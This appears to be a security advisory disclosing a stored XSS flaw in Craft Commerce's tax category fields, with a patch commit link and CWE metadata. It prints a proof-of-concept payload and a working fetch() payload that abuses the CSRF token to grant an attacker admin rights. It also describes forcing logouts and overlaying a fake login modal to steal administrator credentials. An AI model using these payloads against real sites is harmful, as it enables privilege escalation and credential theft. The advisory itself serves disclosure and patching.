A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Tax Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.
/admin/commerce/store-management/primary/taxcategories).<img src=x onerror="alert(document.domain)">
The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id:
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
In another browser, log in as an admin & go to the vulnerable page (tax categories page).
The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.
Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.
https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee
{
"github_reviewed_at": "2026-02-02T22:51:51Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-79"
],
"nvd_published_at": "2026-02-03T19:16:26Z",
"severity": "MODERATE"
}